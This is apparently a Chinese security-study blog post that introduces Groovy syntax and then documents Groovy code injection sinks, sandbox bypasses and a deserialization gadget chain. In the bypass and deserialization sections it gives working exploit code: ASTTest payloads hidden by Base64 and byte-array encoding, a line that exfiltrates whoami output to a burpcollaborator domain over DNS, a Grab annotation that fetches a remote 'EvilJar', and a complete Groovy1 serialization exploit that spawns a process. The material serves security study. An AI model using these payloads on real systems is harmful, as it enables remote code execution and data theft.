Groovy 语言基础
2024-09-13 09:14:17 # javasec # basic

简介

Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。

相当于拓展的java语言,可以静态编译执行或者动态脚本执行,且适配java语法

开发环境搭建

https://groovy.apache.org/download.html

下载4.x的groovySDK

IDEA这里能够直接新建Groovy项目

Groovy工具介绍

GroovyConsole

groovyConsole.bat,图形化运行

GroovyShell

groovysh.bat:命令行版本的解释器

Groovy

类似于python 1.py,这里就是Groovy.bat 1.groovy

java运行


java -cp .\groovy-4.0.21.jar groovy.lang.GroovyShell 'D:\java_project\groovy_study\src\main\groovy\Main.groovy'

语法学习

Groovy其实就是拓展版的java,其本质还是编译成class文件然后运行在JVM上的,Groovy语法分为两种,一种是Groovy类的写法,这种就类似于简化版的java类代码编写,另外一种就是Groovy脚本,这种写法就比较像python或php这种脚本语言的写法,当然他们之间也能够互相混用

Groovy类

1
2
3
4
5
6
7
8
9
10
11
12
class test1 {
static void main(String[] args) {
String cmd = "whoami";
String res1 = cmd.execute().text;
String res2 = Runtime.getRuntime().exec(cmd).text;
String res3 = "${"whoami".execute().text}";
println res1;
System.out.println(res2);
println(res3);
}
}

Groovy类就必须要写main方法才能够执行

编译出来的类继承自GroovyObject,并且代码逻辑都在main函数里面

Groovy脚本

1
2
3
4
println "pysnow"
def cmd = "whoami"
def res = cmd.execute().text
println res

可以看到写法其实跟python差不多

其中Groovy脚本编译出来继承Script类,并且代码逻辑在run方法中

执行命令

其实前面已经提到得差不多了

1
2
3
4
5
6
7
8
println "whoami".execute().text
直接调用execute方法

println Runtime.getRuntime().exec("whoami").text
编写java代码命令执行

println "${"whoami".execute().text}"
使用${}内联解析

闭包

{},用花括号包裹的代码块,类似于匿名函数这种

使用{}定义一个闭包函数,调用其call方法就能执行该函数

这里就是定义了一个闭包函数,函数体内容就是println "whoami".execute().text,最后调用其call方法执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def clo1 = {println "whoami".execute().text}
clo1.call()

def clo2 = {param -> println param.execute().text}
clo2.call("whoami")

def clo3 = {param1,param2 -> println "Hello: ${param1} , Welcome ${param2}"}
clo3.call("World","to Groovy")

def str = "Hello"
def clo4 = {println "${str} World, Read str from outside closure"}
clo4.call()

def list = [1,1,4,5,1,4]
list.each {println it}

def maps = ["username":"pysnow","password":"pysnow"]
maps.each {k,v -> println "Key: ${k} Value: ${v}"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
desktop-cne6880\pysnow

desktop-cne6880\pysnow

Hello: World , Welcome to Groovy
Hello World, Read str from outside closure
1
1
4
5
1
4
Key: username Value: pysnow
Key: password Value: pysnow

这里我直接通过代码讲解闭包了,当然也可以使用java的语法来使用闭包,这里就需要使用MethodClosure函数

1
2
3
4
5
6
7
8
9
10
11
12
import org.codehaus.groovy.runtime.MethodClosure

class test1 {
static void main(String[] args) {
MethodClosure clo1 = new MethodClosure(Runtime.getRuntime(),"exec");
println clo1.call("whoami").text;

MethodClosure clo2 = new MethodClosure("whoami","execute");
println clo2.call().text;
}
}

Groovy代码注入

groovy代码注入就是允许你执行Groovy代码或者允许你加载Groovy文件,并且程序并没有对其进行过滤,导致我们能够通过Groovy执行恶意代码,实现代码注入

接着我们需要了解有哪些方法可以执行或解析Groovy

关键类 关键函数
groovy.lang.GroovyShell evaluate
groovy.util.GroovyScriptEngine run
groovy.lang.GroovyClassLoader parseClass
javax.script.ScriptEngine eval

GroovyShell

evaluate

evaluate 有多种重载,支持从 类型 以及多种的组合执行代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。String,File,URI,Reader,GroovyCodeSourcegroovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.codehaus.groovy.ant.Groovy

class shell {
static void main(String[] args) {
GroovyShell shell = new GroovyShell();

// String方式
String str1 = '"whoami".execute().text'
println shell.evaluate(str1)

// File类型
File file1 = new File("E:\\Codes\\java_project\\groovy_study\\src\\main\\groovy\\Main.groovy")
println shell.evaluate(file1)

// URI类型
URI url1 = new URI("http://192.168.184.128:8000/pysnow.groovy")
println shell.evaluate(url1)

// codeSource类型
GroovyCodeSource codeSource = new GroovyCodeSource('"whoami".execute().text', "pysnow","")
println shell.evaluate(codeSource)
}
}

四种方式,可以自己写一下

parse

1
2
3
4
5
6
7
8
9
10
11
12
class shell_run {
static void main(String[] args) {
GroovyShell shell = new GroovyShell();
String cmd = "\"whoami\".execute().text"

Script script = shell.parse(cmd);
System.out.println(script);

System.out.println(script.run());
}
}

这个很好理解,前面可以看到groovy脚本编译出来的是一个继承与Script的类,并且代码逻辑写在run方法里面,而这个shell.parse就是从指定的groovy代码源解析成groovy Script对象,最终调用其run方法才能获取结果

run

直接省去了前面的parse和evaluate过程,直接run,要求获取的就是groovy脚本

MethodClosure

闭包函数,其实可以理解成php里面的call_user_func,第一个参数owner填对象,第二个参数填该对象的方法,比如这里给的例子就是

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.codehaus.groovy.runtime.MethodClosure

class methodclou {
static void main(String[] args) {
MethodClosure clo = new MethodClosure("whoami", "execute");
println clo.call().text;

MethodClosure exec_clo = new MethodClosure(Runtime.getRuntime(), "exec");
println exec_clo.call("whoami").text

}
}

whoami字符串对象的execute方法

Runtime.getRuntime()对象的exec方法,该方法接受一个参数,那么call就传入一个参数

GroovyScriptEngine

1
2
3
4
5
6
7
8
9
10
11
12
class scriptEngine {
static void main(String[] args) {
// 指定目录
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/groovy");
scriptEngine.run("Main.groovy", "");

// 指定URL资源目录
GroovyScriptEngine url_scriptEngine = new GroovyScriptEngine("http://xxx");
scriptEngine.run("Main.groovy", "");
}
}

GroovyScriptEngine就是指定一个资源目录包括文件目录以及url目录,然后调用其run方法进行执行,第一个参数为具体的脚本名,第二个参数为脚本的参数

GroovyScriptEvaluator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class scriptEvaluator {
static void main(String[] args) {
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();

// StaticScriptSource参数类型
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));

// ResourceScriptSource参数类型-File
FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/Main.groovy");
ScriptSource source = new ResourceScriptSource(fileSystemResource);
System.out.println(groovyScriptEvaluator.evaluate(source));

// ResourceScriptSource参数类型-URL
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));

}
}

这个就是GroovyScriptEvaluator就类似于前面GroovyShell 的evaluate方法,只不过这里传入的参数不一样,需要传入一个org.springframework.scripting.ScriptSource接口,继承这个接口的类有两个<font style="color:rgb(221, 17, 68);">StaticScriptSource</font>``<font style="color:rgb(221, 17, 68);">ResourceScriptSource</font>

GroovyClassLoader

加载Groovy类的类加载器,前面已经学习了很多加载Script的方法,这里就是加载GroovyObject类的方法,我们通过反编译Groovy类可以知道,这些类都继承了GroovyObject类并且代码逻辑在main方法中

GroovyClassLoader 总共有以下三个方法:

loadClass``defineClass``parseClass

这几个方法其实可以类比于前面GroovyShell那三个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class groovyLoader {
static void main(String[] args) {
// loadClass:通过构造器指定资源目录,然后调用loadClass方法加载类
GroovyClassLoader classLoader1 = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
Class clazz1 = classLoader1.loadClass("exp");

// parseClass:直接传入Groovy资源对象进行解析成Class
GroovyClassLoader classLoader2 = new GroovyClassLoader();
Class clazz2 = classLoader2.parseClass(new File("src/main/java/com/groovy/Test.groovy"));

// parseClass:直接传入Groovy字符串源码进行解析成Class
GroovyClassLoader classLoader3 = new GroovyClassLoader();
Class clazz3 = classLoader3.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell()\n" +
" String cmd = \"\\\"whoami\\\".execute().text\"\n" +
" println(groovyShell.evaluate(cmd).toString())\n" +
" }\n" +
"}\n");

GroovyObject object1 = (GroovyObject) clazz1.newInstance();
object1.invokeMethod("main","");
GroovyObject object2 = (GroovyObject) clazz2.newInstance();
object2.invokeMethod("main","");
GroovyObject object3 = (GroovyObject) clazz3.newInstance();
object3.invokeMethod("main","");
}
}

ScriptEngine

这个就是调用nashron或者低版本的rihino引擎来执行js或者Groovy代码,这个之前在aj-report那里已经讲过了,这里就给个样例就行

1
2
3
4
5
6
7
8
9
10
import javax.script.ScriptEngine
import javax.script.ScriptEngineManager

class script {
static void main(String[] args) {
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
}
}

Groovy bypass

反射/拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package bypass

import java.lang.reflect.Method

class reflect {
static void main(String[] args) {
// 拼接+反射
Class runtime = Class.forName("java.la"+"ng.Run"+"time")
Method get_run = runtime.getMethod("getRu"+"ntime")
Method exec = runtime.getMethod("ex"+"ec", String.class)
println exec.invoke(get_run.invoke(runtime), "whoami").text
}
}

沙箱绕过

Groovy一般都是限制execute调用

AST注解执行断言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package bypass

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')

@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//使用Base64编码
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))

//同样可以直接使用Byte
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

不会ast,这里就是给def x加了一个ASTTest注解,然后出发注解里面的asasert语句

只进行AST解析无调用所以能够绕过

Grab注解添加恶意依赖

需要导入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
package bypass

this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import PoC
''');

在指定目录下拉去jar包,然后通过import导入,使用以上注解,主机会从指定url爬去EvilJar-0.1.jar到用户目录下,并且这里调用了

1
groovy-all-2.4.15-sources.jar!/groovy/grape/GrapeIvy.groovy

processCategroyMethodsprocessOtherServices方法

processCategroyMethods用来注册扩展方法。

processOtherServices用来发现并处理其他服务,比如META-INF/services/org.codehaus.groovy.plugins.Runners

Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库。

这里利用就是构建一个恶意jar包,然后放在远程去加载

Groovy反序列化

TL;DR

影响版本:**Groovy : 1.7.0-2.4.3**

调用链

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

链子分析

前面我们讲解了MethodClosure这个闭包类,他通过调用call执行任意对象的任意方法

这里是MethodClourse获取对象方法的逻辑,貌似不是反射,我也懒得看了,总之这里构造函数的两个参数分别为对象Object和对象方法String

接着call方法这里实际上是调用的doCall

那这里sink点就找到了,就是调用MethodClosure对象的doCall活着call方法,接着我们就寻找在哪可以调用,这里我不想把jar包反编译出来find usages,所以就直接抄答案了

ConvertedClosure的invokeCustom方法

可以看到这个类继承了InvocationHandler,是一个动态代理类

然后他父类ConversionHandler的invoke方法又调用了invokeCustom,后面就简单了,直接使用CC1链中调用任意对象invoke方法的gadget就行

简单回忆一下,AnnotationInvocationHandler的readObject这里首先获取了memberValues的属性值,接着调用该属性的entrySet方法,由于这里的memberValues可以任意制定为一个Proxy对象,所以就会直接调用proxy对象的invoke方法,参数为entrySet,这里就是调用ConversionHandler的invoke传入entrySet为方法名的参数

然后在注意一下这里的三元表达式的第二个条件需要满足两个method_name相同才能够进入到后面调用call的流程,所以需要在创建ConvertedClosure对象的时候传入entrySet字符串作为方法名

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package Groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
// 封装methodClosure对象到ConvertedClosure这个handler里面,然后传入entrySet赋值到method_name里面
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");

// 构造Proxy动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);


// AnnotationInvocationHandler:readObject所在,需要通过构造函数将Proxy对象传入到membervalue处
Class readObjectHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = readObjectHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, mapProxy);


serialize(o);
unserialize("ser.bin");


}
}

成功RCE

参考链接

https://www.code-nav.cn/post/1779700778454294529

https://xz.aliyun.com/t/10703

https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/